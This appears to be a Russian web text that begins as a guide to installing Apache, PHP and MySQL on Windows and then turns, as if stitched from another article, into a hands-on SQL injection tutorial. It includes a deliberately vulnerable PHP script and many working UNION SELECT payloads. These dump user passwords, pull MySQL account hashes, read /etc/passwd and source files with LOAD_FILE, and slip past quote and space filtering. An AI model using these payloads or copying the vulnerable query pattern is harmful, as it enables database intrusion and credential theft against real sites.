В этой статье мы рассмотрим установку и настройку Web-сервера Apache, PHP 5 и СУБД MySQL для использования их на локальной машине под операционной системой Windows (2000 и XP). Использование локальных серверов может понадобится по многим причинам – вам необходимо изучить PHP или MySQL, а тестирование своих Web-приложений на хостинге либо дорого обходится, либо такой возможности вообще нет. В этом случае вам понадобится связка Apache+PHP+MySQL на локальной машине.

Для начала необходимо раздобыть дистрибутивы серверов Apache и MySQL, а так же архив PHP. Мы будем устанавливать и настраивать Apache 2, MySQL 4 и PHP 5.

Так же можете скачать с нашего сайта файлы php.ini для настройки PHP и httpd.conf для Apache. Однако, делайте это только в крайнем случае — если у Вас ничего не получилось с "родными" файлами, которые появилиcь при установке приложений. Но в любом случае, их необходимо будет настроить под конкретную машину. Скачать php.ini и httpd.conf

Скачать Apache можно с зеркал приведённых на официальном сайте http://www.apache.org/dyn/closer.cgi. При поиске следует помнить, что Apache так же может называться httpd, по имени его демона в UNIX. На зеркалах обычно много различных файлов, например:
httpd-2.0.49-win32-src.zip - это архив с исходными кодами (src) для Windows (win32) Web-сервера Apache (httpd) версии 2.0.49.
httpd-2.0.49.tar.gz - тоже самое, но для Linux, в котором программы принято распространять в исходных кодах.

apache_2.0.50-win32-x86-no_ssl.exe - а вот это, откомпилированный под архитектуру (x86) для Windows (win32) без поддержки SSL(no_ssl) сервер Apache (apache) версии 2.0.50 - вот он и нужен.

Содержание:
1. Введение
2. Как определить наличие SQL уязвимости
3. Тренировка на localhost-е
4. CREATE
5. INSERT
6. SELECT
7. Ещё некоторые SQL комманды
8. Php-cкрипт для работы с БД
9. UNION
10. Подбор кол-ва столбцов(ORDER BY)
11. version(),user(),database() 
12. information_schema 
13. group_concat()
14. К вопросу о шестнадцатеричных кодах
15. Узнавание названий схем, таблиц, колонок с помощью information_schema
16. Вытаскивание информации
17. Сложные запросы и комментирование остатка
18. Немного про файлы
19. Про то, куда вставлять
20. Послесловие

1. Введение:
В Интернете имеется достаточно большое кол-во статей по этой теме, но многие из них являются сильно устаревшими и относятся к тому периоду, когда кавычки не экранировались, а такого понятия как UNION ещё небыло...
Те же что не устаревшие, по большей части неполные и по этому трудны для понятия новичками, которые “совсем не в теме”.
В этой статье я попытался как можно понятнее и подробнее объяснить что это такое, Sql-injection, и показать как её проводить, используя UNION SELECT. В какой-то степени эта статья является обобщением и дополнением многих других.

Что такое SQL
SQL (Structured Query Language) – структурированный язык запросов.
Он используется для обращения к СУБД(Система Управления Базами Данных) с целью получения/изменения/удаления данных, существующих в базе.

В качестве примера, можно привести большинство форумов. При “заходе” в какую-нибудь тему мы передаём скрипту на сервере нечто вроде showthread=285.
Затем скрипт, используя полученные данные, производит запрос к СУБД, которая в свою очередь обращается к самой базе. Потом СУБД возвращает полученные данные, скрипту, который, передаёт их в браузер.
SQL тут используется на стадии обращения скрипта к СУБД.

Упрощённое устройство реаляционных баз данных.
Наименьшей единицей в устройстве БД является поле(field). Поле, это грубо говоря – ячейка, в которой хранится собственно информация.
Поля объединяются в записи(record,row). Запись это аналог строки.
Так же каждое поле относится к какой-либо колонке(column). Например, колонка username, колонка password, колонка email итд.
Затем, записи объеденяются в таблицы(table). Каждая таблица имеет однотипные записи. Например, таблица users, в которой записаны имя пользователя, его пароль и адрес электронной почты.

Сами же таблицы хранятся в базах данных(database,schema).

Что такое SQL инъекция
Инъекция (от англ. Injection – введение,внедрение) это вставка произвольного SQL-кода в плохо фильтруемые параметры, которые используются в запросе к базе данных, с целью получения оттуда информации(например, пароля админа).

2. Как определить наличие SQL уязвимости
Самый, наверно, известный способ, это подстановка кавычки (‘) в запрос.
Например, forum.somesite.com/index.php?showthread=285’
Если имеется уязвимость, и ошибки не подавляются, то появится ошибка, например такого содержния
mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource.
Если же подавляются, то о наличии уязвимости может свидетельствовать пустой результат.

Еще один способ заключается в подставлении вместо числа арифметического выражении. Например, если
forum.somesite.com/index.php?showthread=285 и
forum.somesite.com/index.php?showthread=284+1
возвращают одну и ту же страницу, то вполне вероятно, что имеет место быть уязвимость.

Так же полезным может быть задание сортировки ORDER BY по 1-му столбцу, с комментированием остатка.(об этом ниже)
forum.somesite.com/index.php?showthread=285+ORDER+BY+1--+
forum.somesite.com/index.php?showthread=285+ORDER+BY+1/*

3. Тренировка на localhost-е
Чтобы самому попробовать SQL-инъекцию, надо на localhost-е (на своём компе) установить веб-сервер, php интерпретатор и саму СУБД(ставить лучше всего MySQL, т.к. она используется более чем на 70% сайтов).
Если ещё не установлены, то посмотрите здесь.

http://httpd.apache.org/

http://php.net

http://mysql.com
Процесс установки и настройки описывать не буду, поскольку ничего сложного нет, и к тому же мануал по этому поводу есть и в самих этих программах. Единственное, советую под винду, php не встраивать как модуль апача, а установить как CGI binary.

ScriptAlias /php/ "c:/php/"
AddType application/x-httpd-php .php
Action application/x-httpd-php "/php/php-cgi.exe"

Итак, всё нужное установлено и настроено, запускаем MySQL Command Line Client, и вводим указанный при установке пароль.

4. CREATE
Создаём тестовую базу данных.

mysql> CREATE DATABASE test;

Затем переключаемся на неё
mysql> USE test;

Создаём 2 таблицы – users и pages

mysql> CREATE TABLE users (
-> username VARCHAR(32) NOT NULL,
-> password VARCHAR(32) NOT NULL,
-> email VARCHAR(48)
-> );

mysql> CREATE TABLE pages (
-> id SMALLINT NOT NULL AUTO_INCREMENT,
-> content TEXT NOT NULL,
-> PRIMARY KEY(id)
-> );

CREATE – как ясно из названия, что-то создаёт. Создавать он может либо DATABASE, принимая в качестве аргумента название новой базы, либо TABLE, тогда ему надо дать описание каждой колонки – название, тип, модификаторы а также ключи
Типы:
VARCHAR(x) – строка переменной длины, до x символов (не более 1FEh)
SMALLINT – целое число от -8000h до 7FFFh
TEXT – Текст до FFFFh символов(64 КБ)

Модификаторы:
NOT NULL – поле не может содержать неопределенного(NULL) значения и должно быть явно инициализовано.
AUTO_INCREMENT – автоматическое увеличение значения этого поля на единицу, при добавлении новой записи.
Ключ: PRIMARY KEY – значение поля, установленного в качестве первичного ключа, должно быть уникальным в своей колонке. Не применимо к полю, допускающему значение NULL

USE – переключает текущую базу данных. В качестве аргумента принимает её название.

5. INSERT
Затем набиваем созданные таблицы значениями

mysql> INSERT INTO users (username, password, email) VALUES
-> (‘admin’, ’qwerty’, ’admin@localhost’),
-> (‘lamer’, ’1234’, ’lamer@mail.ru’),
-> (‘hacker’, ’ef43f433$532’, ’hacker@hack.com’);

mysql> INSERT INTO pages (content)
-> VALUES (‘Page1’),(‘Page2’),(‘Page3’);

INSERT INTO – Добавляет в указанную таблицу новые записи.
Синтаксис:
INSERT INTO название_таблицы (колонки, в которые вставляются значения)
VALUES (Запись1),(Запись2), ... (ЗаписьN);

Если не указать колонку, имеющую модификатор NOT NULL, то произойдёт ошибка, и данные добавлены не будут.
В данном случае, колонка id , имеющая модификатор NOT NULL не указанна, но поскольку она имеет модификатор AUTO_INCREMENT, то значение в ней было установлено автоматически.

6. SELECT
Теперь можно посмотреть результат :

mysql> SELECT * FROM pages;
mysql> SELECT * FROM users;

SELECT – самый, наверное, важный оператор – выбирает из указанной таблицы данные из указанных столбцов
(* -- все столбцы). Попробуйте так:
SELECT username, email FROM users;
Будут выведены только колонки username и email.
----
WHERE – распространяет действие команды только на те записи, которые соответствуют условию. Например:
SELECT * FROM users WHERE username=’admin’;

OR\AND -- Объединение условий

OR – если выполняется хотя бы одно условие.
SELECT * FROM users WHERE username=’admin’ OR username=’hacker’;

AND – если выполняются все условия
SELECT * FROM users WHERE password=’1234’ AND email=’lamer@mail.ru’;
SELECT * FROM users WHERE username=’admin’ AND password=’ef43f433$532’
(Ничего не выведет, так как таких записей нет. (Empty set))
----
ORDER BY -- задаёт сортировку по столбцу(название или номер)
SELECT * FROM users ORDER BY username;
SELECT * FROM users ORDER BY 2;
----
LIMIT -- Выбирает в результирующую таблицу начиная со смещения k , N записей (LIMIT k,N)
SELECT * FROM users LIMIT 0,1;
SELECT * FROM users LIMIT 1,2;
Можно указать только кол-во записей. тогда смещение будет по дефолту равно 0.
SELECT * FROM users LIMIT 2;

7. Ещё некоторые SQL комманды

UPDATE -- обновление значений таблицы
Синтаксис:
UPDATE имя_таблицы
SET поле1='значение1',поле2='значение2',...,полеN='значениеN'
WHERE условие;
Например:
UPDATE users
SET password='123qwerty456'
WHERE username='admin';
----
DELETE -- удаление записи из таблицы.
Синтаксис:
DELETE FROM имя_таблицы
WHERE условие ;
Например DELETE FROM users WHERE username='lamer';
!Если не указать условие, то таблица будет полностью очищена!
----
DROP -- удаляет таблицу или базу данных, !в не зависимости от того, содержит ли она что-либо!
Синтаксис:
DROP [TABLE | DATABASE] имя
Например DROP TABLE testtable

8. Скрипт для работы с БД
Теперь сделаем php скрипт, который будет работать с базой данных.

$host='localhost'; 
$user='root'; 
$password=''; //Надо вставить пароль, указанный при установке MySQL 
$database='test'; 
//Установка значений переменных

if (!isset($_REQUEST['id']) || !$_REQUEST['id']) die ("404 Not Found");
//Если не получен параметр id, выдаём ошибку и завершаем работу.
$sql=mysql_connect($host, $user, $password);
//Установка соединения с СУБД.
mysql_select_db($database, $sql);
//Выбор базы данных.
$request="SELECT id,content FROM pages WHERE id=".$_REQUEST['id'];
//Составление запроса на получение поля с указанным id.
$sql_res=mysql_query($request, $sql);
//Отправка запроса. Запись результата в $result.
if (mysql_num_rows($sql_res)==0) die ("404 Not Found");
//Проверка результата. Если вернулось 0 строк, выдаём ошибку и завершаем работу.
$result=mysql_fetch_assoc($sql_res);
//Обработка результата, представление первой строки в виде ассоциативного массива.
mysql_close($sql);
//Закрытие соединения.
echo $result['content'];
//Вывод результата.
?>

Сохраняем скрипт как sql.php в папку для хтмл-документов, запускаем веб-сервер, открываем браузер и вводим в адресную строку:
http://localhost/sql.php?id=1
http://localhost/sql.php?id=2
http://localhost/sql.php?id=5

А теперь http://localhost/sql.php?id=1’
Что мы видим? А видим мы нечто вроде
Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in С:\www\html\sql.php on line 11
Вот и SQL уязвимость в чистом виде. Почему так произошло?
Да потому, что введённые данные никак не фильтруются(кроме того, что кавычки и другие символы экранируются) и сразу передаются в СУБД.
MySQL попыталась выполнить запрос
SELECT * FROM pages WHERE id=2\’;
А поскольку 2\' не является SMALLINT, как было объявлено, возникает ошибка.

9. UNION
Теперь надо рассказать о такой прекрасной команде, как UNION.
UNION соединяет несколько результатов запросов в 1 таблицу.
SELECT 1,2 UNION SELECT 3,4;
Имена колонок, при этом берутся из первого запроса, даже если он возвращает 0 записей.

Однако, для работы UNION запросы должны получать одинаковое кол-во столбцов.
Например:
SELECT 1,2,3 UNION SELECT 4,5;
Вызовет ошибку.

Так, же объеденяемые поля должны иметь одинаковый тип данных или быть совместимыми (например CHAR и VARCHAR, NULL конвертируется в любой тип).

10. Подбор кол-ва столбцов (ORDER BY)
Для проведения инъекции с использованием UNION надо подобрать количество столбцов, возвращаемых изначальным запросом. Самый простой способ подбора, это использование ORDER BY. Если мы задаём в качестве параметра число большее, чем кол-во колонок, то возникает ошибка. Переберать удобнее всего по 5.

http://localhost/sql.php?id=1+ORDER+BY+5
http://localhost/sql.php?id=1+ORDER+BY+10
Итд, пока не появится ошибка. У нас ошибка появится сразу, тк колонок меньше 5.
http://localhost/sql.php?id=1+ORDER+BY+4
http://localhost/sql.php?id=1+ORDER+BY+3
http://localhost/sql.php?id=1+ORDER+BY+2
При 2 ошибка исчезает. Из того делаем вывод, что колонок -- 2.

Теперь смотрим, какое поле выводится. Для этого подставляем в запрос команду UNION , с подобранным числом колонок.
При этом в изначальный параметр ставим значение, которое заведомо вернёт 0 строк, для того чтобы в 1-ую строку попал наш, прикреплённый при помощи UNION запрос. Так же, можно использовать команду LIMIT, указав в качестве параметра 0.

http://localhost/sql.php?id=-1+UNION+SELECT+1,2
http://localhost/sql.php?id=3+LIMIT+0+UNION+SELECT+1,2
При этом используется то свойство SQL, что числовой тип прекрасно преобразуется в любой другой.
А выводится у нас, как видно, поле 2.

Примечание: Может встретится ситуация, когда пробел фильтруется. Тогда можно исползовать /**/ вместо +
11. version(),user(),database()
Для начала, мы посмотрим с чем мы имеем дело от чьего имени действуем, и в какой базе данных находимся ,используя функции version(), user() и database()

http://localhost/sql.php?id=-1+UNION+SELECT+1,version()
http://localhost/sql.php?id=-1+UNION+SELECT+1,user()
http://localhost/sql.php?id=-1+UNION+SELECT+1,database()

Вставлять запрос надо по возможности в поле с текстовым типом(чем длиннее, тем лучше), например сообщение на форуме или новость.

Если в version() выводится версия 5.*.** , то это очень хорошо, так как в MySQL начиная с 5-ой версии, согласно 4 правилу доктора Кодда, появилась такая прекрасная вещь, как information_schema , в которой находятся названия всех баз данных, таблиц и колонок.
Если же версия меньше 5-ой, то это не очень хорошо, т.к названия придётся подбирать. Для этого существуют специальные программы, которые найти несложно.
Хотя админы обычно не оригинальны, и их пароли как правило хранятся в таблице admin, имеющую колонки username и password.

12. information_schema
information_schema -- виртуальная база данных MySLQ, содержащая, как ясно из названия, кучу всякой информации.
Таблицы и столбцы, содержащие названия баз данных, таблиц и колонок:

schemata – Таблица с названиями баз данных.
В ней колонка:
schemata_name – собственно само название
----
tables – Таблица с названиями таблицами
В ней колонки:
table_name – название таблицы
table_schema – база данных, к которой относится таблица
----
columns – Таблица с названиями колонок
В ней колонки:
column_name – название столбца
table_name – название таблицы, к которой относится столбец
table_schema – база данных, к которой относится таблица со столбцом
----
обращаться к этим таблицам надо соответственно
information_schema.schemata
information_schema.tables
information_schema.columns
(База.Таблица)

Поскольку в 1 поле выводится одно значение, чтобы просмотреть допустим сразу все имеющиеся записи, надо пользовать функцию group_concat().

13. group_concat()
group_concat() – функция, используемая для конкатенации(соединения) полученных результатов.
Синтаксис: group_concat(first,second,...,n)
Например: SELECT group_concat(1,0x3A,2);
0x3A – шестнадцатеричный код двоеточия.
Так же у функции есть параметр SEPARATOR, который задаёт разделитель при выводе записей (по умолчанию – запятая). Например:
SELECT group_concat(username,0x3A,password SEPARATOR 0x7C) FROM users;
(0x7С = |)

!Функция group_concat() возвращает поле с типом даных VARCHAR, при установках по умолчанию, имеющий максисальный размер 512 байт (в старых версиях mySQL 256 байт), это решается тем, что при исползовании UNION, при соеденении с полем типа TEXT или больше, VARCHAR конвертируется.
Единственный минус, это то, что для использования надо знать названия колонок(решается использованием information_schema).

Как вариант можно использовать функцию concat_ws(sep,first,second,...,n)
14. К вопросу о шестнадцатеричных кодах
Их использование обуславливается экранированием кавычек. Если отправить скрипту строку ‘string’, то в СУБД она будет передана как \’string\’ , что вызовет ошибку.
По этому строки надо передавать в виде шестнадцатеричных кодов, либо используя функции преобразования типа Char() и CHR().
Однако, в некоторых местах использование функций недопустимо, а в виде шестнадцатеричного числа строка охотно принимается (хотя есть такие места, где не принимается ни то, ни другое, и приходится обломится).
Скрипты или утилиты, переводящие строку в шестнадцатеричное представление найти в инете или сделать самому весьма несложно. Те же, кому искать лень(или делать умеют), могут воспользоваться написанным мной.

<job id = string2Hex by Viglim>
<script language="VBScript">
Function WSHInputBox(Message,Title)
WSHInputBox = InputBox(Message,Title)
End Function
Function ToHex(num)
ToHex = Hex(num)
End Function
</script><script language="JScript">
var source = WSHInputBox("Enter source text","String2Hex");
if (typeof(source) == "undefined" || source == "") WScript.Quit();
var Res = "0x";
for (i=0;i<source.length;i++) Res += ToHex(parseInt(source.charCodeAt(i)));
var out = WScript.CreateObject("Scripting.FileSystemObject").OpenTextFile("string2Hex.txt",8,true);
out.WriteLine(source+" -> "+Res);
out.Close();
</script></job>

Это надо забить в блокнот, сохранить под именем string2Hex.wsf и запустить.
Результат сохраняется в файл string2Hex.txt

15. Узнавание названий схем, таблиц, колонок с помощью information_schema
Так вот, что-бы узнать названия баз данных, делаем запрос
http://localhost/sql.php?id=-1+UNION+SELECT+1,group_concat(schema_name+SEPARATOR+0x0b)+FROM+information_schema.schemata

0x0b – это непечатный символ, который трактуется оперой(вроде, ещё firefox'ом) как переход на новую строку.
В других браузерах, для вывода в столбик надо использовать 0x3C62723E (<br>)

В ответе видим базы данных:
information_schema
mysql
test

information_schema и mysql это встроенные базы, а интересует нас база test
Кодируем test (без кавычек!) в шестнадцатеричный код (0x74657374) и делаем запрос на названия таблиц
http://localhost/sql.php?id=-1+UNION+SELECT+1,group_concat(table_name+SEPARATOR+0x0b)+FROM+information_schema.tables+WHERE+table_schema=0x74657374

Получаем:
pages
users

pages нас мало интересует, поскольку их 'содержимое' мы и так можем посмотреть, а вот users это то, что надо.
Кодируем users(0x7573657273) и делаем запрос на названия колонок

http://localhost/sql.php?id=-1+UNION+SELECT+1,group_concat(column_name+SEPARATOR+0x0b)+FROM+information_schema.columns+WHERE+table_schema=0x74657374+AND+table_name=0x7573657273

Получаем:
username
password
email

16. Вытаскивание информации
Вытаскиваем содержимое users
http://localhost/sql.php?id=-1+UNION+SELECT+1,group_concat(username,0x3A,password,0x3A,email+SEPARATOR+0x0b)+FROM+test.users

Либо просто берём пароль админа(admin, 0x61646D696E)
http://localhost/sql.php?id=-1+UNION+SELECT+1,password+FROM+test.users+WHERE+username=0x61646D696E

Кстати, возможно будет интересно попробовать произвести запрос
http://localhost/sql.php?id=-1+UNION+SELECT+1,group_concat(user,0x3A,password+SEPARATOR+0x0b)+FROM+mysql.user
с целью получить хэши паролей доступа к БД, которые расшифровать обычно особого труда не составляет, хотя обычно доступа к таблице mysql.user просто нету.

17. Сложные запросы и комментирование остатка
Очень часто может встретится проблема, когда запрос усложнён использованием команд, стоящих после параметра,скобок или ещё чегонибудь, что затрудняет инъектирование.

Например, "SELECT * FROM pages WHERE (id= $_REQUEST['id']) ORDER BY id LIMIT 0,1"
И при подстановке простого UNION SELECT произойдёт ошибка. Решается это подбором вариантов относительно скобок и комментированием остатка запроса.
В MySQL знаками комментирования являются:
-- (необходим хотя бы один пробел после использования, те --+)
/*
#
Тут, надо было бы делать запросы вроде:
http://localhost/sql.php?id=-1)+UNION+SELECT+1,2--+
http://localhost/sql.php?id=-1)+UNION+SELECT+1,group_concat(username,0x3A,password+SEPARATOR+0x0b)+FROM+test.users--+
В таком случае комманды, стоящие после инъекции, становятся комментарием и на результат запроса уже не влияют.
Так же, в некоторых случаях, остаток строки(на уровне php) можно отрезать при помощи %00 (NUL байт).

18. Немного про файлы
Если у пользователя, от имени которого ведется работа с БД имеются права file_priv то можно при помощи функции LOAD_FILE получить на просмотр содержимое произвольного файла.
http://localhost/sql.php?id=-1+UNION+SELECT+1,LOAD_FILE(0x433A2F746573742E747874)
http://localhost/sql.php?id=-1+UNION+SELECT+1,LOAD_FILE(0x2F6574632F706173737764)
(0x433A2F746573742E747874 = C:/test.txt ; 0x2F6574632F706173737764 = /etc/passwd)
Так же, можно вытащить сами файлы скриптов, на предмет паролей доступа к БД , нахождения там каких-либо других уязвимостей(например, PHP include) или же на предмет банального воровства исходников.
http://localhost/sql.php?id=-1+UNION+SELECT+1,LOAD_FILE(0x633A2F7777772F68746D6C2F73716C2E706870)
(0x633A2F7777772F68746D6C2F73716C2E706870 = c:/www/html/sql.php)
Посмотреть можно будет в исходном коде вернувшейся страницы.

19. Про то, куда вставлять(не подумайте чего лишнего)
А туда, через что передаются данные.
А передоваться они могут через:
GET - запросы. (т.е. часть ссылки), как это описанно в статье.
POST - запросы. Для их редактирования могу посоветовать аддон для firefox'a Live HTTP Headers или связку программ
SmartSniff + InetCrack.
HTTP_REFERER - Для его редактирования можно пользоваться тем же Live HTTP Headers.
Cookies - Инструмент для их редактирования есть в любом уважающем себя браузере.